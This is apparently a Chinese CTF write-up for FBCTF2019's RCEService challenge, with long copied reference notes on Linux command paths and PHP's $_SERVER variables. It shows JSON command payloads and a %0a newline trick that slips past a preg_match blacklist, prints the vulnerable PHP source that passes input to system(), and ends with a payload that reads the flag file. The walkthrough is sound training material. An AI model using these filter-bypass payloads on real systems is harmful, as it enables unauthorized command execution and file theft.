[FBCTF2019]RCEService

image-20240521153716253

这道题最离谱的一点就是

你看上去给了你一个输入框,但是不能用这个!!!

这道题其实不难

提示也给了你

就是说我们要通过json模式上传payload去读文件

基本上就是{“a”:”b”}的一个形式,所以我们要试试就是说读文件之类的

先随便上传一个发现参数cmd

所以构造

{"cmd":"ls"}

找到index.php

所以我们尝试一下

{"cmd":"cat index.php"}

但是发现不太行

经过筛查,发现是不能使用 “.”

所以,我们尝试一下绕过

{%0a"cmd":"/bin/cat index.php"%0a}

这里为什么使用%0a是因为我觉得大概率使用的是正则匹配的函数过滤,preg_match只匹配第一行,所以可以绕过。

在接下来,为啥要在cat前面加/bin/

Linux中使用命令的绝对路径是指在命令的名称前加上完整路径来执行命令。在Linux系统中,命令存放在特定的目录中,当我们输入命令时,系统会在这些目录中查找对应的可执行文件。

1. /bin目录:包含了系统启动和维护所需要的最基本的命令,如ls、cp、mv等。

2. /sbin目录:包含了一些只有管理员才能执行的系统管理命令,如ifconfig、fdisk等。

3. /usr/bin目录:包含了系统普通用户使用的命令,如clear、grep、wget等。

4. /usr/sbin目录:包含了一些管理员级别的系统管理命令,如systemctl、useradd等。

当我们使用命令时,系统会按照特定的顺序在这些目录中查找命令可执行文件。如果想要使用命令的绝对路径,可以使用以下方法:

1. 使用绝对路径:直接在命令的名称前加上路径,如`/bin/ls`、`/usr/bin/grep`等。

2. 使用 which 命令:which 命令可以帮助我们查找命令所在的路径。例如,`which ls`可以输出`/bin/ls`。

3. 使用 whereis 命令:whereis 命令可以在系统中查找二进制、源码和帮助文档的路径。例如,`whereis gcc`可以输出`/usr/bin/gcc`。

4. 使用 find 命令:find 命令可以在指定路径下递归地搜索文件。例如,`find / -name ls`可以搜索整个系统中名为 ls 的文件。

需要注意的是,使用绝对路径来执行命令时,需要保证相应的命令存在于指定的路径中,并且具有可执行权限。

总结:在Linux中,使用命令的绝对路径是一种直接指定命令所在路径的方式,可以帮助我们准确执行命令,避免因为系统的环境变量设置不正确而导致命令无法执行的问题。同时,熟悉常用命令的绝对路径也有助于我们更好地理解和掌握Linux系统的文件结构和组织方式。

引用文章链接:https://worktile.com/kb/ask/487669.html

这是因为在直接使用之后发现cat没有用了,所以我们使用绝对路径对cat进行尝试。

之后我们就可以拿到源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

看到了很多过滤的东西,但是我们都没用到(否则也看不到这玩意)

查找一下putenv是啥意思

GETENV/PUTENV

getenv 取得系统的环境变量\
string getenv( string varname ) 参数 varname 应该是$_SERVER(服务器超级全局变量数组)
中预订的元素索引名, 或者是用putenv('new = very new') 定义一下new 为环境变量,所以new作为参数将得值verynew
返回值:字符串
函数种类:PHP 系统功能
内容说明:若正确取得环境变量 varname,则返回变量值。失败则返回 false。
使用范例
下例可以取得用户浏览器所在机器的网址

<?php
$ip = getenv(“REMOTE_ADDR”);
?>
$_SERVER是服务器超级全局变量数组 用$_SERVER['REMOTE_ADDR']同样可以获取到客户端的IP地址。
二者的区别在于,getenv不支持IIS的isapi方式运行的php
putenv 配置系统环境变量
putenv()
返回值:无
函数种类:PHP 系统功能
内容说明:本函数用来配置系统环境变量。
使用范例:
配置 Oracle 数据库需使用的环境变量 NLS_LANG,返回资料含中文 BIG5 码。
<?
putenv("NLS_LANG=american_taiwan.zht16big5");
?>
php服务器变量 $_SERVER 详解:
1、$_SERVER['PHP_SELF'] -- 获取当前正在执行脚本的文件名。如:/PHP/SourceCode/08/04/Untitled-1.php
2、$_SERVER['SERVER_PROTOCOL'] -- 请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
3、$_SERVER['REQUEST_TIME'] -- 请求开始时的时间戳。从 PHP 5.1.0 起有效。和time函数效果一样。
4、$_SERVER['argv'] -- 传递给该脚本的参数。
5、$_SERVER['SERVER_NAME'] -- 返回当前主机名。如:http://blog.sina.com.cn
6、$_SERVER['SERVER_SOFTWARE'] -- 服务器标识的字串,在响应请求时的头信息中给出。 如Microsoft-IIS/6.0
7、$_SERVER['REQUEST_METHOD'] -- 访问页面时的请求方法。例如:“GET”、“HEAD”、“POST”、 “PUT”。
8、$_SERVER['QUERY_STRING'] -- 查询(query)的字符串(URL 中第一个问号 ? 之后的内容)。
9、$_SERVER['DOCUMENT_ROOT'] -- 当前运行脚本所在的文档根目录。在服务器配置文件中定义。 如E:\server
10、$_SERVER['HTTP_ACCEPT'] -- 当前请求的 Accept: 头信息的内容。
11、$_SERVER['HTTP_ACCEPT_CHARSET'] -- 当前请求的 Accept-Charset: 头信息的内容。例如:“iso-8859-1,*,utf-8”。
12、$_SERVER['HTTP_ACCEPT_ENCODING'] -- 当前请求的 Accept-Encoding: 头信息的内容。例如:“gzip”。
13、$_SERVER['HTTP_ACCEPT_LANGUAGE'] -- 当前请求的 Accept-Language: 头信息的内容。例如:“en”。
14、$_SERVER['HTTP_CONNECTION'] -- 当前请求的 Connection: 头信息的内容。例如:“Keep-Alive”。
15、$_SERVER['HTTP_HOST'] -- 当前请求的 Host: 头信息的内容。如:192.168.2.53:8888
16、$_SERVER['HTTP_REFERER'] -- 链接到当前页面的前一页面的 URL 地址。
17、$_SERVER['HTTP_USER_AGENT'] -- 返回用户使用的浏览器信息。也可以使用 get_browser() 得到此信息。
18、$_SERVER['HTTPS'] -- 如果通过https访问,则被设为一个非空的值,否则返回off.
19、$_SERVER['REMOTE_ADDR'] -- 正在浏览当前页面用户的 IP 地址。
20、$_SERVER['REMOTE_HOST'] -- 正在浏览当前页面用户的主机名。反向域名解析基于该用户的 REMOTE_ADDR。如本地测试返回127.0.0.1
21、$_SERVER['REMOTE_PORT'] -- 用户连接到服务器时所使用的端口。我在本机测试没通过,不知道什么原因。
22、$_SERVER['SCRIPT_FILENAME'] -- 当前执行脚本的绝对路径名。如返回E:\server\index.php
23、$_SERVER['SERVER_ADMIN'] -- 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值
24、$_SERVER['SERVER_PORT'] -- 服务器所使用的端口。默认为“80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。
25、$_SERVER['SERVER_SIGNATURE'] -- 包含服务器版本和虚拟主机名的字符串。
26、$_SERVER['PATH_TRANSLATED'] -- 当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 Apache 2 用 户可以使用 httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。
27、$_SERVER['SCRIPT_NAME'] -- 包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 包含当前文件的绝对路径和文件名(例如包含文件)。
28、$_SERVER['REQUEST_URI'] -- 访问此页面所需的 URI。例如,“/index.html”。
29、$_SERVER['PHP_AUTH_DIGEST'] -- 当作为 Apache 模块运行时,进行 HTTP Digest 认证的过程中,此变量被设置成客户端发送的“Authorization”HTTP 头内容(以便作进一步的认证操作)。
30、$_SERVER['PHP_AUTH_USER'] -- 当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
31、$_SERVER['PHP_AUTH_PW'] -- 当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
32、$_SERVER['AUTH_TYPE'] -- 当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。

文章链接:https://www.cnblogs.com/JdsyJ/p/8554180.html

在这道题中就是,我们的要的文件在哪?

所以,我们直接

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

拿到flag